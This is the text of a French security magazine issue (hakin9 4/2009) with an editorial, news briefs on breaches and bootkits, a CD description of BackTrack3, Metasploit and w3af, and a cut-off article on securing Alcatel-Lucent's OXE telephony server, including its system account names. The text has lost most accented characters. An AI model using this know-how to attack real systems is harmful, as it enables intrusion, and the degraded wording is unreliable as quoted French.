Vous êtes sur la page 1sur 84

ditorial

Chers leCteurs,
Vous tenez entre les mains le quatrime numro de hakin9 de cette anne et comme toujours nous vous invitons rencontrer les sujets de la scurit informatique. Dans cette issue vous trovez plusieurs approches au sujet de la tlphonie: tlphonie mobile soit tlphonie par internet. On commence avec une approche de technologie VOIP(Voice Over IP) et la scurit des solutions de tlphonie sur IP qui est souvent aborde au travers des solutions libres. Cedric Baillet met en vidence les faiblesses des standards connus dans l'article Scurisation d'une solution de tlphonie. l'iPhone 3G est l'un des tlphones portables les plus aims et en mme temps les plus dtestes des dernires annees. ses points forts et faiblesses sont dvoils dans l'article de Marcell Dietl. On rest toujours dans le domaine de la technologie mobile. Vous aimez linux? essayez Android-linux pour les tlphones portables ! Nous tenterons de dmontrer les avantages de ce systme, et expliquer la base qu'il faut matriser pour pourvoir commencer crer vos propres applications dans le cadre de ce systme. en outre, nous vous proposons d'autres articles concernant les attaques et la scurit. Dans La dfense en profondeur helmi rais essaye de prsenter quelques solutions et palliatifs de base qui pourraient assurer un niveau de scurit minimale pour les applications hberges et rduisant ainsi le vecteur dexposition aux nouvelles vulnrabilits. stratgie de scurit en entreprise explique la dmarche suivre pour la mise en place d'une stratgie de scurit en entreprise. Quelles sont les informations collecter, quelle dmarche mettre en place pour disposer d'un systme d'information le plus scuris possible? last but not least! rgis senet dans son article propos du test de pntration des applications web nous presente W3AF (Web Application Attack and Audit Framework), un framework daudit et dexploitation des vulnrabilits des applications web extrmement complet, pratique et simple dutilisation. Voil, il ne nous reste plus qu' vous inviter la lecture...

Bonne lecture! Jakub Borowski

4/2009 HAKIN9

SOMMAIRE
DOSSIER
10

PRATIQUE
46

Scurisation d'une solution de tlphonie

Introduction w3af

CdriC Baillet La scurit des solutions de tlphonie sur IP est souvent aborde au travers des solutions libres, notamment Asterisk et ses drivs, ou encore en voquant les scripts permettant de jouer avec les protocoles de signalisation ou mdia.

rgis seNet Depuis l'augmentation de l'importance d'Internet dans la vie quotidienne de nombreuse personnes, la scurit des sites web reste plus que jamais une inquitude majeure. W3AF ou Web Application Attack and Audit Framework permet d'automatiser les attaques et les audits l'encontre des sites internet afin de vous prmunir contre les diverses attaques possile par des individus malintentions.

FOCUS
26

Stratgie de scurit en Entreprise

NiColas reNard L'objectif de cet article est d'expliquer la dmarche suivre pour la mise en place d'une stratgie de scurit en entreprise. Quelles sont les informations collectes, quelle dmarche mettre en place pour disposer d'un systme d'information le plus scuris possible.

TEChnIQUE
54

La dfense en profondeur pour scuriser Lhbergement des applications web

BACKUP
32

Test de pntration des services MS SQL Server

Helmi rais Cet article essaye de prsenter quelques solutions et palliatifs de base qui pourraient assurer un niveau de scurit minimale pour les applications hberges et rduisant ainsi le vecteur dexposition aux nouvelles vulnrabilits.

GrzeGorz Gazowski Il existe un grand risque que les donnes des bases de donnes peuvent tomber dans les mains des personnes indsirables. Pour se protger contre cette menace, les entreprises sont obliges d'analyser sans cesse les principes de la scurit employs pour les paquets de logiciels et leurs propres applications. Microsoft SQL Server est un environnement populaire et infaillible pour de nombreuses applications utilisant les bases de donnes ; trs souple, il propose un grand nombre de fonctionnalits. Malheureusement, si ce potentiel n'est pas bien protg, il peut tre employ d'une manire non autorise.

60

Android - Linux pour les tlphones mobiles

Marek sawerwain Depuis quelques annes, le systme Linux gagne sans cesse en popularit. Les annes venir se dessinent aussi comme prometteuses car ce systme pourra intresser les utilisateurs des ordinateurs portables. En effet, par rapport au systme concurrent Windows, Linux propose une meilleure performance sur les plates-formes matrielles moins avances. Linux est galement prsent de plus en plus souvent sur les ordinateurs des utilisateurs normaux . Il existe toutefois un autre type d'appareils o Linux gagne galement en popularit il s'agit des tlphones mobiles.

HAKIN9 4/2009

SOMMAIRE
POUR lES DBUTAnTS
68

VARIA
06 En bref
Paul amar Vous trouverez ici les nouvelles du monde de la scurit des systmes informatiques.

LiPhone 3G

marCell dietl LiPhone de lApple est lun des tlphones portables les plus aims et en mme temps les plus dtests des dernires annes. Les exalts le vantent au septime ciel et les opposants critiquent la politique commerciale de lApple chaque occasion. Quest-ce que liPhone nous offre vraiment ? Qua-t-il a de bon et de plutt mauvais ?

08

Sur le CD-ROM

Nous vous prsentons le contenu et le mode de fonctionnement de la version rcente de notre principale distribution hakin9. Et les applications commerciales

80

Feuilleton

Yves le Provost Notre consultant de scurit vous prsente Injections SQL, encore et toujours

82

Dans le prochain numro

Le dossier, les sujets qui paratront dans le numro 5/2008(39)

74

Est-ce que VoIP rime avec scurit ?

steeve BarBeau En plein essor aussi bien dans les entreprises que chez les particuliers, cette technologie de communication quest la VoIP est de plus en plus utilise, et va mme jusqu' supplanter la tlphonie traditionnelle. Cest principalement depuis larrive de lADSL, que les entreprises et les particuliers ont compris quils pouvaient ainsi faire des conomies sur leur facture tlphonique. Mais quels sont les risques dutiliser la VoIP ? Est-ce une technologie sre et fiable ?

4/2009 HAKIN9

EN BREF
PERIODE NOIRE POUR TWITTER
Twitter, site de micro-blogging a t sujet de nombreuses attaques depuis certains temps. Durant le weekend end de Pques, un jeune hacker prnomm Mikeyy Mooney, avait lanc un Worm XSS qui infectait les personnes qui voyaient un profil corrompu. Ce dernier a affirm qu'il avait fait ceci car il s'ennuyait. Heureusement, ses intentions n'taient pas malsaines et aucune donne confidentielle tel que les Cookies etc. n'ont t drobe. D'autres personnes ont ensuite suivi le mouvement, dveloppant alors leurs propres Worm XSS. Une autre attaque a eu lieu, perptre cette fois-ci par un hacker du nom de : Hacker Croll. Ce dernier est donc arriv accder au panneau d'administration du site de micro-blogging. Pour se faire, le pirate a rinitialis le mot de passe d'un des administrateurs qui avait une adresse mail chez Yahoo !. Ds lors, il lui a suffit de naviguer sur le compte la recherche d'un message comportant le mot de passe pour Twitter. Ce dernier a ainsi ralis du Social Engineering en se faisant passer pour l'admin et en divulguant son ancien mot de passe pour paratre plus crdible. De nombreuses rumeurs disent que le site a rencontr de nouvelles attaques, mais rien n'est encore trs clair ce sujet. nom de Yauba, a t cr par une socit indienne du mme nom. La qualit de recherche est excellente, comme nous pouvons le voir sur le site Franais, la recherche peut se faire travers : les sites internets, les nouvelles en temps rel, les informations traditionnelles, les nouvelles sur le web, les blogs, les rponses, les images, les vidos, les PDF, les documents WORD, les documents PowerPoint, les rseaux sociaux... Bref, vous l'aurez compris, ce moteur de recherche peut tre une vritable mine d'or. Un autre point qui fait mouche est : Yauba, le premier moteur de recherche au monde qui respecte votre vie prive . Pas une donne prive n'est sauvegarde par le moteur de recherche, que ce soit les historiques de navigation, les logs, les cookies ou quoi que ce soit ! Un autre point qui fait le charme de ce moteur de recherche est qu'il vous est possible, aprs une recherche de visiter un site en question de manire anonyme. Certes, cette mthode est plus lente mais est un point extrmement intressant pour ce qui est de la confidentialit. Yauba est donc bien parti pour devenir un concurrent srieux Google. Je vous donne donc rendez vous l'adresse : http://fr.yauba.com/, version franaise de Yauba. La socit McAfee, rpute dans le monde de la scurit informatique a constat que malgr la baisse de spam , le nombre d'ordinateurs infects grandissait de faon exponentielle. D'aprs leurs tudes, on serait arriv 12 millions d'ordinateurs jouant ainsi le rle de machines dites zombies . Ces machines auraient donc un rle de relais en matire d'envoi d'e-mails indsirables. Malheureusement, tant donn que ces derniers ne sont pas centraliss, il est donc beaucoup plus dur de localiser les metteurs de ces courriers et ainsi les bannir pour viter de voir nos boites mails infestes.

UNE NOUVELLE ERE POUR LA GAMME BUREAUTIQUE DE WINDOWS


Mi-avril, Microsoft vient de publier la version Bta d'Exchange 2010, et va reprendre le flambeau concernant le serveur de messagerie actuel, Exchange 2007. Cette version devrait tre plus simple utiliser. Microsoft proposera fin 2009 les autres outils bureautique tel que Office 2010, Visio 2010 etc. De nombreuses amliorations seront prsentes comme par exemple : l'amlioration de performances pour les disques SATA (qui sont beaucoup moins cher, donc plus intressant pour les entreprises) . De plus, Microsoft cherche certainement se rapprocher de la technologie de Google, en triant les conversations et en les rassemblant permettant ainsi une meilleure lisibilit. En bref, cet outil va certainement donner une nouvelle optique de la gamme Bureautique de Microsoft.

UNE REMONTEE DE SPAM ? YAUBA, PREMIER MOTEUR DE RECHERCHE ANONYME ?


Depuis quelques temps, un buzz commence se rpandre sur internet au sujet d'un moteur de recherche qui semblerait tre anonyme. Ce dernier, du A la suite de la fermeture de McColo, hbergeur bas en Californie qui avait une part importante dans les activits Cyber - Criminelles , le mois de mars aurait subi un ralentissement au niveau d'envois de mails indsirables.

CHANTAGE DE DONNEES, HOAX ?


Dbut mai, le site Wikileaks.org a report qu'une brche de scurit tait prsente sur le Virginia Prescription Monitoring Program . Le site Web avait t dfac (autrement dit pirat) par un mystrieux Hacker qui demandait une ranon de 10 millions de dollars en change des donnes corrompus.

Figure 1. Yauba website


 HAKIN9 4/2009

EN BREF
Ce dernier prcisait dans sa note qu'il avait rcupr plus de 8 millions de patients. Cela incluait bien entendu les informations personnelles de ces dernires comme leurs noms, prnoms, adresses, numro de permis de conduire et leur numro de Scurit Sociale. Bref, un coup norme. Le pirate a donc lanc un ultimatum demandant la ranon avant 7 jours, autrement, les donnes se retrouveront sur le march noir. Paralllement, de nombreux articles de presses se sont vu arrivs sur la toile contrant les arguments du Hacker en disant que la base de donne avait t touche, mais qu'aucune donne n'avait t supprime comme le disait le Hacker . Ds lors, nous allons attendre afin d'avoir des informations supplmentaires sur cette affaire plus que mystrieuse. baptis : Vbootkit 2.0 . Ces deux personnes avaient dj fait part d'une vulnrabilit concernant Windows Vista, d'o le numro de version. Certains de leurs propos rapports par Network World ont t de dire Il n'existe pas de correctif pour ce problme. Cela ne peut pas tre corrig. C'est un problme de conception . En tout cas, cela arrive trs mal tant donn que Windows 7 aurait d faire oublier le mauvais souvenir de Windows Vista.

QUAND LES DISQUES DURS SONT MIS A L'EPREUVE...


Des chercheurs britanniques ont dcouvert des donnes extrmement sensible visant un systme de dfense arien contre des missiles. Ce systme permettait l'poque de dtruire des missiles dits Sud en Irak. Ce fameux disque dur contenait aussi d'autres donnes telles que des donnes confidentielles dont celles des employs. Ces donnes ont pu tre rcupres sur des tests faits par des chercheurs sur prs de 300 disques durs achets par exemple sur des sites aux enchres tel qu'Ebay. Paralllement, d'autres donnes ont pu tre rcupres telles que des donnes bancaires, ou encore des stratgies marketing etc. En d'autres termes, une vraie mine d'or! Tous ces disques durs ont t achet dans de nombreux pays tels que la Grande Bretagne, les Etats-Unis, l'Allemagne, la France par la BT's Security Research Center qui tait en collaboration avec de nombreuses universits situes en cosse, en Australie ou encore aux tats-Unis.

LE WIGIG, UNE NOUVELLE AVANCEE TECHNOLOGIQUE ?


Une alliance de plusieurs entreprises travaillant dans l'lectronique et les communications a annonc le dveloppement de la norme sans fil Wireless Gigabit. Cette dernire, compare au Wifi devrait permettre des dbits 10 fois plus rapide que le Wifi. Certains acteurs de cette alliance sont : Intel, Microsoft, LG, Nokia, Samsung etc. D'aprs les tudes faites, si cette technologie voit le jour, il se pourrait que le WIGIG offre un dbit maximum de 300 Mbits/secondes. Cette technologie serait par exemple utilise pour le tlchargement de contenu trs gros comme par exemple des Films en qualit HD ou autres. Cela pourrait par exemple permettre une expansion de l'offre VOD en rendant cette offre quasiinstantane.

WINDOWS 7, DEJA VULNERABLE ?


Vipin Kumar et Nitin Kumar , deux chercheurs en scurit informatique ont russi trouver une vulnrabilit sur le systme d'exploitation Windows 7. Ces derniers ont ralis ce proof of concept lors de la confrence Hack in The Box qui se tenait Duba. La vulnrabilit permettrait donc une personne mal intentionne de prendre le contrle du PC lors de son dmarrage. Leur exploit pse peine 3Ko et est

UN HACKER SUEDOIS ARRETE


Philip Gabriel Petterson, hacker sudois du nom de Stakkato , a t inculp le 5 mai par le ministre amricain de la Justice car ce dernier avait t accus d'avoir russi pntrer sur la NASA, mais aussi sur les rseaux CISCO. Pour raliser cette affaire, le dpartement de la justice amricaine a men une collaboration troite avec la NASA et CISCO ainsi que les autorits sudoises. Mme si l'affaire fait un certain Buzz actuellement, les intrusions perptres par le Hacker remontent tout de mme mai et octobre 2004. Ce dernier aurait mme russi drober un code oprationnel CISCO, gant en matire de matriel rseau. Il encourt donc jusqu' 250 000 dollars d'amende ainsi que 10 ans de prison.

Figure 2. Windows 7 Desktop


4/2009 HAKIN9 

SUR LE CD
CD-ROM HAKIN9.LIVE
BackTrack3
Cette dition du magazine hakin9 est propose avec hakin9.live (accompagne du CD BackTrack3). Cette distribution est riche en applications et autres plugins. BackTrack3 est la distribution Linux live la plus pertinente dans le registre de la scurit informatique. Sans aucune installation pralable, la plate-forme d'analyse peut tre directement dmarre partir du CD-Rom et son contenu entirement accessible en quelques minutes seulement. Outre les mises jour et d'autres optimisations, cette version de BackTrack3 hakin9.live contient galement des ditions spciales d'applications commerciales parmi les plus intressantes du moment. Elles sont prpares exclusivement l'attention toute particulire de nos lecteurs. Pour pouvoir utiliser BackTrack3 hakin9.live, il vous suffit de dmarrer votre ordinateur partir du CD. Pour pouvoir utiliser les applications commerciales fournies, inutile de dmarrer votre ordinateur partir du CD : vous les trouverez dans le dossier baptis Applications. Chaque paquet, configuration de noyau et script contenu dans BackTrack3 est optimis de manire tre utilis par les experts en audits de scurit et de tests d'intrusion. Les patchs de correction et autres scripts automatiques ont t ajouts, appliqus ou dvelopps de manire proposer un environnement agrable, intuitif et prt l'emploi. Les quelques nouvelles fonctionnalits de BackTrack3 sont prsentes avec BackTrack3 hakin9.live. La fonctionnalit la plus importante est incontestablement l'utilisation du noyau 2.6.20 mis jour l'aide de plusieurs programmes de correction. Un support pour la carte sans fil Broadcom a galement t rajout et des pilotes WiFi ont t labors de manire supporter les injections de paquets bruts. L'intgration du cadre d'application Metasploit2 et Metasploit3 est galement disponible ainsi qu'un alignement permettant d'ouvrir des standards et des cadres d'applications tels que ISSAF et OSSTMM.

W3aF WeB applicaTion aTTack and audiT FrameWork


La scurit des sites internet est aujourd'hui lun des aspects de la scurit en entreprise le plus souvent nglig alors quil devrait tre une priorit dans n'importe quelle organisation. De plus en plus, les pirates informatiques concentrent leurs efforts sur les applications web afin dobtenir une approche des informations confidentielles et abuser des donnes sensibles comme les dtails de client, les numros de carte de crdit et autre. W3af ou bien encore Web Application Attack and Audit Framework est, comme son nom lindique, un framework permettant dautomatiser laudit ainsi que les attaques lencontre des applications web. Pour ceux dentre vous connaissant Mtasploit, w3af peut tre compar ce dernier en matire de pen-test sur les applications web. W3af est un framework trs complet plac sous licence GPL (General Public License) entirement crit en Python avec
 HAKIN9 3/2009

un code extrmement bien comment permettant ainsi nimporte quel dveloppeur potentiel de crer ses propres modules/exploits.

Sil vous est impossible de lire le CD. et que ce dernier nest pas endommag physiquement, essayez de lire dans au moins 2 lecteurs diffrents.

En cas de problme avec votre CD, envoyez-nous un message ladresse suivante : cd@hakin9.org

3/2009 HAKIN9

DOSSIER
CDrIC BAILLet

scurisation
d'une solution de tlphonie
La scurit des solutions de tlphonie sur IP est souvent aborde au travers des solutions libres, notamment Asterisk et ses drivs, ou encore en voquant les scripts permettant de jouer avec les protocoles de signalisation ou mdia.

Degr de difficult

i cette approche permet de faire vivre le sujet et de mettre en vidence les faiblesses des standards, elle ne permet pas de prendre connaissance des lments mis en uvre dans les environnements professionnels. Il me parat important aujourd'hui d'avoir une vision claire de ces lments pour deux raisons : Il s'agit de systmes que vous pouvez utiliser tous les jours si votre entreprise a ralise la bascule vers la ToIP, Bien que souvent propritaire, les mesures prises par les constructeurs apportent une scurit intressante et peuvent parfois faire voluer les standards. Je me propose donc aujourd'hui de vous dcrire les possibilits prsentes dans la solution de ToIP du constructeur Alcatel Lucent. Cette solution est trs fortement implante Europe et continuer se diffuser, il est donc probable que vous soyez amens la croiser un jour.

Le choix d'une solution traditionnelle, mixte ou exclusivement IP dpend des objectifs, de l'organisation, des projets convergents voix/ donnes ou encore du retour sur investissement attendu. Cette offre comprend notamment: des terminaux numriques et des fonctions pour oprateur, une application de messagerie vocale intgre, de la tlphonie de groupe, des fonctions patron/secrtaire, de la tlphonie PC, etc., le tout conu pour amliorer la productivit gnrale des entreprises. Les solutions de communication d'entreprise du serveur OXE sont assimiles des blocs constituant un modle de communications ouvert comme on peut le dcouvrir en Figure 1. Voici la liste des principaux lments: Le serveur OXE, qui comprend une plateforme de traitement et un logiciel de serveur de communication Un ensemble de passerelles multimdias Un ensemble de clients IP: postes tlphoniques, quipements, logiciels de bureau, fixes et mobiles Un ensemble de clients numriques: terminaux, appareils, logiciels de bureau, fixes ou/et mobiles

Cet artiCle explique...


Les moyens mis en uvre par l'diteur Alcatel-lucent pour scuriser sa solution de communication sur IP.

Ce qu'il faut savoir...


Des connaissances de base sur les problmatiques suivantes aideront une bonne comprhension du contenu: tlphonie sur IP, technologies rseau de niveau 2 et 3 et le systme 10 HAKIN9 4/2009

prsentation de la solution de toip

On commence par la prsentation du serveur de communication. Le serveur OXE, bas sur une architecture client-serveur, s'adresse aux moyennes et grandes entreprises dotes de configurations IP ou mixtes (IP/TDM).

Tous ces lments peuvent fonctionner indpendamment du rseau de donnes sousjacent.

Tlphonie sur ip

Tableau 1. Comptes implments dans l'OXE Compte Root Swinst Mtcl Client Bin Daemon Ftp Httpd Nobody PPP Adfexc Fonction Compte administrateur Installation du logiciel Maintenance client hors site Maintenance rserve l'utilisateur Propritaire de plusieurs binaires Propritaire de /var/spool/at Accs ftp anonyme Propritaire Http Propritaire de TFTP daemon Configuration de liaison IP sur V24 Tlchargement des enregistrements des donnes des appels de 4670 Connexion Oui Oui Oui Oui Non Non Non Non Non Non Non Non Non Oui Non Non Oui Oui FTp Non Oui Oui

Le serveur OXE peut s'excuter sur diffrentes plates-formes matrielles : IP Rack Server (IP RS) : serveur de communication : Install au sein d'un chssis de module ddi Alcatel-Lucent rack 1 et connect au rseau de donnes ou des passerelles multimdias via une liaison Ethernet. Idal pour les configurations IP comptant un maximum de 1000 utilisateurs. Hberg sur une plate-forme de Media Gateway module AlcatelLucent rack 3cavec d'autres cartes de ressource et d'interface pour les configurations de type tout en un. Idal pour les configurations comptant un maximum de 350 utilisateurs (IP et TDM). IP Crystal Server (IP CS): cartes CPU7-2 installes dans une alvole Crystal. Idal pour les configurations traditionnelles avec un nombre d'utilisateurs allant gnralement de 250 5000. IP Appliance Server (IP AS): fonctionne sur une plate-forme matrielle standard et est connect au systme via une liaison Ethernet. Ce serveur est utilis pour les installations IP volues, et configur et livr par Alcatel-Lucent. C'est la solution idale pour les configurations les plus importantes.

la mdia gateway
Les IP Media Gateways grent les accs et les interfaces d'une solution client. Elles sont contrles par le serveur OXE via une connexion IP. La media gateway fournit les lments suivants : Connexion un rseau externe (public ou priv) : RNIS T0, RNIS E1-CCS (T2), E1-CAS, T1 CCS (PRI), T1 CAS, rseaux analogiques DDI / DID ou NDDI / Non-DID. Connexion des tlphones numriques TDM, postes d'oprateurs (interfaces UA) Connexion des quipements analogiques: tlcopieurs, etc. (interfaces z-analogiques)

Connexion de stations de base DECT Connectivit IP Canaux de compression vocale : G.711, G.723, G.729A Connexion des ressources DSP pour services multimdias : guides vocaux, confrence, etc.

Une media gateway est connecte au ser veur de communication par le biais d'une liaison Ethernet. Le serveur Oxe peut tre mis en uvre de trois faon diffrente expos dans la Figure 3. Les limites de la solution : le nombre d'utilisateurs par OXE est de 15 000 avec un maximum de 15 000 postes IP,

L'ensemble de cet article fera dsormais rfrence la plateforme matriel IP Appliance Server.

Figure 1. Un modle de communication ouvert


4/2009 HAKIN9 11

DOSSIER
Tableau 2. Politique de scurit pour les mots de passe nombre de tentatives de connexion Dure de vie minimale Dure de vie maximale Message d'avertissement Nombre minimum de caractres Dfini dans la configuration systme 10 jours De 11 365 jours 5 jours avant (pour chaque connexion) Le nouveau mot de passe doit contenir au moins huit caractres. Les lettres majuscules/minuscules, les chiffres et les symboles de ponctuation sont admis. Le nouveau mot de passe doit otre diffrent des trois prcdents mots de passe tablis pour le compte. continuellement mis jour; il peut faire office de serveur principal tout moment. Avec le mcanisme de redondance du serveur OXE, toutes les donnes, bases de donnes, applications et logiciels de communication sont excuts en parallle sur les deux serveurs de communication. Le passage de l'un l'autre est par consquent fiable. sont rompues ou si les serveurs de communication sont hors service, le traitement des appels se poursuit en local. Utilisations de serveurs PCS : Cration d'un troisime serveur de communication de secours pour une meilleure disponibilit du systme. En conditions normales : les serveurs de communication contrlent les appels au sein du rseau, les tlphones IP et / ou Media Gateways d'une rgion sont dfinis pour les serveurs, la synchronisation automatique ou manuelle de la rgion est effectue sur les PCS de manire globale ou individuelle.

Comparaison entre l'ancien et le nouveau mot de passe

le nombre de Media Gateways est de 240 par serveur de communication, le nombre de serveurs de communication passifs est de 240 par serveur de communication, le nombre d'utilisateurs et de surveillance CSTA est de 20 000 par serveur de communication, le nombre d'entits est de 4 000 par nud ou sous-rseau ABC, le nombre de lignes rseau est de 5 000 par serveur de communication, le nombre de faisceaux est de 500 par serveur de communication, le nombre de lignes rseau T0 est de 1 000 par serveur de communication, le nombre d'intervalles de traducteurs SDA est de 2 000, le nombre de tables de commande de numrotation est de 1 000, le nombre de mini-messages est de 32 000, le nombre de descripteurs de plan de numrotation est de 100, le nombre d'apparences multilignes est de 2 000.

En cas de perte de liaison avec le serveur de communication : les services de tlphonie sont redmarrs localement, les services centraliss tels que la messagerie vocale ne sont plus disponibles, toutes les fonctions autonomes dfinies dans le traitement actif des appels sont maintenues par le serveur PCS, notamment les centres de contacts OmniTouch,

le serveur pCs (passive Communication server)


Le serveur de communication passive (PCS) fournit des services de traitement d'appel une Media Gateway ou un groupe de Media Gateways en cas d'indisponibilit du serveur OXE. Si les liaisons IP avec le site qui hberge les serveurs de communication

la redondance spatiale
Le serveur OXE offre un mcanisme de redondance pour les applications critiques qui exigent une fiabilit importante. La fonction de redondance du serveur permet de passer d'un serveur de son serveur miroir via une liaison IP. Dans ce type de configuration, deux serveurs coexistent dans le mme systme. L'un est actif, c'est le serveur principal. L'autre est constamment de surveillance en mode veille. En cas de dfaillance du serveur principal, le second serveur prend automatiquement le relais. Le serveur de de secours (en veille) est
12 HAKIN9 4/2009

Figure 2. Les plateformes possibles pour l'OXE

Tlphonie sur ip
les justificatifs des dtails d'appel, les performances et les tickets VoIP QoS sont enregistrs dans le serveur PCS. rseau public. Les numros internes composs sont traduits automatiquement en numros publics. Ce mcanisme peut galement servir lorsque le contrle d'admission des appels du site distant est atteint. permettant de rsoudre rapidement les problmes de scurit. Le serveur OXE a t renforc pour rsister aux attaques de flood. Un mcanisme de dfense interne permet la rservation dun temps de traitement minimum du processeur ddi la gestion des communications.

En service normal, le serveur PCS peut tre relanc manuellement. Au redmarrage : les tlphones IP et les Media Gateways sont redmarrs et recontrls par le serveur de communication du rseau, les justificatifs des dtails d'appel, les performances et les tickets VoIP QoS sont stocks par l'application de gestion du rseau (4760).

la scurisation native de l'oxe

signalisation de secours pour les Media Gateways


Si la liaison IP entre le serveur de communication et une passerelle IP Media Gateway de matriel traditionnel est perdue, une liaison de signalisation de secours est utilise pour rtablir la voie de signalisation sur le rseau RTC. Ce service permet d'assurer la continuit des services tlphoniques sur les sites distants. Pendant la connexion avec le service de secours, l'utilisateur peut appeler et recevoir des appels sur la connexion rseau RTC locale et les appels Voix sur IP entre le site distant et tous les autres sites peuvent tre redirigs par le biais du rseau public. Un dialogue est tabli entre le serveur de communication et chaque Media Gateway afin de surveiller les liaisons. Une interruption de cette bote de dialogue informe le serveur OXE qu'une dfaillance s'est produite. Le serveur OXE tente alors d'entrer en communication avec la passerelle multimdia distante sur le RTC (par l'intermdiaire de modems internes GD). Pendant ce temps, la Media Gateway distante redmarre. En mode de secours, la Media Gateway interroge priodiquement le rseau IP. Lorsque la connexion au rseau IP est rtablie, la Media Gateway fait basculer la signalisation du serveur de communication sur la liaison normale. Tous les appels sont maintenus pendant la priode o la signalisation du rseau IP normal est en cours de rtablissement. En outre, lorsque le rseau IP est indisponible, les communications vocales intersites peuvent tre tablies via le

On commence par un systme d`exploitation bas sur Linux. L'OXE utilise un systme d'exploitation bas sur Linux scuris par Alcatel pour n'avoir maintenir que les programmes ncessaires. La taille du kit logiciel obtenu passe ainsi 50 Mo, au lieu des 700 Mo du kit de la version destine au public. Ainsi, les lments prsents ci-dessous que l'on trouve gnralement sur les distriburions compltes ont t suprims : aucune interface graphique comme KDE, X11, Gnome, etc., aucun partage rseau comme un partage via NFS ou Samba,

scurisation des changes


Si cette option est slectionne au moment de l'installation initiale, les changes effectus entre les machines du rseau peuvent tre chiffrs l'aide du protocole SSH. La transmission via SSH offre l'avantage de chiffrer les donnes l'initialisation. Les mots de passe ne sont donc pas transmis sur le rseau en clair. Lorsque le protocole SSH est activ, les changes sont chiffrs entre les lments suivants : les OXE sur un rseau ABC, les OXE et les stations de gestion de type 4760.

Le systme d'exploitation Linux offre un niveau de scurit natif intressant et fournit les avantages du libre et de la communaut, savoir: source totalement ouverte pour le noyau et les utilitaires des applications venir, trs grande base de donnes mondiale d'utilisateurs permettant d'identifier les problmes de scurit, vaste communaut de dveloppeurs

Pour que le chiffrement des flux d'administration des CLI (Command Line Interface) soient chiffrs convenablement via le protocole SSH, il sera ncessaire d'activer ce dernier sur tous les nuds du rseau ABC. De plus les stations d'administration susceptibles de se connecter l'OXE devront tre capable de prendre ce protocole en charge.

Figure 3. IP Media Gateway


4/2009 HAKIN9 13

DOSSIER
Un environnement convenablement scuris permettra de prendre en charge les commandes suivantes :
ssh (secured shell) remplace telnet ssh (secured shell) remplace rsh scp (secured copy) remplace rcp sftp (secured file transfer protocol) remplace ftp (file transfer protocol) (remote copy) (remote shell)

Root super-utilisateur avec une connexion directe au port de la console, FTP non valide, Swinst assistant d'installation de logiciel avec une connexion et FTP valide, Mtcl maintenance hors site pour les utilisateurs avec des droits restreints, connexion et FTP, Client utilisateur pour une maintenance slective. Ce compte est cr uniquement sur demande.

serveur d'authentification
L'OXE supporte l'authentification via un serveur d'authentification RADIUS pour les utilisateurs dfinis suivants: root, mtcl, swinst, adfexc, client. Le mcanisme d'authentification RADIUS est disponible pour : les applications Web (notamment l'outil d'administration Web), les modules additionnels Outlook/ Lotus Notes, l'application 4980 Softphone, l'application 4760.

Enfin, les changes applicatifs entre un poste client et l'OXE via une interface Web seront scuriss via l'utilisation du protocole SSL. Je profite de cette remarque pour prciser que le serveur web utilis est un serveur de type APACHE version 1.3.31.

utilisateurs et mot de passe par dfaut


Certains comptes inutiles ou redondants proposs dans des versions obsolte de l'OXE (la version R9 est sortie cet automne) ont t supprims dans le souci de limiter la surface d'exposition pouvant tre exploite. La liste des comptes comprend mtcl, adm, halt, sync, shutdown, client et install. Ainsi, seuls onze comptes ont t maintenus. Les services FTP et de connexion sont dsactivs sur les comptes pour lesquels ils ne sont pas ncessaires. Les quatre principaux types de comptes sont :

Pour voir plus de dtails, veuillez consulter le Tableau 1. Lors de l'installation initiale, si le niveau de scurit slectionn est suffisant, une dure de validit est dfinie pour chaque mot de passe. Cette dernire aura une dure minimale de dix jours. Cinq jours avant la date d'expiration, un message d'avertissement est gnr par le systme pour chaque compte connect. La limite de validit dans le temps d'un mot de passe peut tre dsactive, ce qui offre ainsi la possibilit de basculer dans un mode illimit (Tableau 1). Pour finir, le systme vrifie les tentatives de connexions infructueuses. Lorsque le nombre maximal d'checs de connexion (dfini dans la configuration) est atteint, un incident est gnr. Et l'administrateur est inform qu'il se passe quelque chose d'anormal (potentiellement une attaque).

Pour permettre la prise en charge des identifiants de connexion d'entreprise, le menu Swinst propose une interface qui permet de dclarer ces donnes avec le profil du systme associ. Lorsqu'un utilisateur tente de se connecter un serveur OXE avec ses propres identifiants d'entreprise au lieu des identifiants de connexion au systme (root, mtcl, swinst, etc.) : les services (SSH, Telnet, Ftp, etc) vrifient si l'utilisateur figure dans la base de donnes locale des utilisateurs du systme, la demande d'authentification est transmise au serveur RADIUS, l'utilisateur reoit le droit d'ouvrir une session, le serveur RADIUS enregistre l'heure de fermeture de la session ( des fins de facturation ou de statistiques).

les htes de confiances


Les systmes Linux comprennent un fichier /etc/hosts.equiv qui rpertorie les autres systmes informatiques (Htes) relis au rseau. Les adresses IP contenues dans ce fichier sont considres comme fiables ; il s'agit du fichier htes de confiance. Les systmes rpertoris dans le fichier sont les seuls tre considrs comme fiables pour accder au serveur de communication. Par dfaut, cette fonction de scurit refuse l'accs depuis toutes les autres adresses IP. Afin d'amliorer le systme de scurit, les connexions Ethernet sont traites diffremment des connexions PPP et SLIP sur l'interface EIA (RS232).

Figure 4. Architecture globale avec PCS inclus


14 HAKIN9 4/2009

Tlphonie sur ip
Les htes de confiance incluent les postes IP, les Media Gateways et la gestion des postes. Il est possible d'intgrer la liste des adresses IP (pour les postes IP dans le fichier Htes de confiance). Un rappel du travailleur distant est galement possible.

Gestion des attaques de type Dos


Des fonctions permettant de rduire au maximum les effets dattaques de type dnis de service ont t directement intgrs linstar du travail effectu sur le firmware des IP Phones : limitation du trafic de type broadcast 300 pps. Tout le trafic en excdent est supprim, rejet de paquets pouvant tre identifis comme du trafic IP fragment.

Gestion des connexions distance: rnis


Avec une telle configuration, un travailleur distant peut atteindre directement le serveur de communication par l'intermdiaire d'une connexion RNIS. Ce type d'accs est principalement utilis pour des oprations de maintenance distance. L'OXE contrle la ligne par l'intermdiaire de la fonction CLIP (identification de la ligne appelante) envoye par le rseau commut public. Le travailleur distant envoie une identification de la ligne de l'appelant lors d'une demande de connexion. Si l'identification de la ligne de l'appelant correspond celle configure dans l'OXE, l'appel est accept. Si l'identification de la ligne de l'appelant est inconnue, l'appel est refus et le systme gnre une alarme.

le wrapper TCp
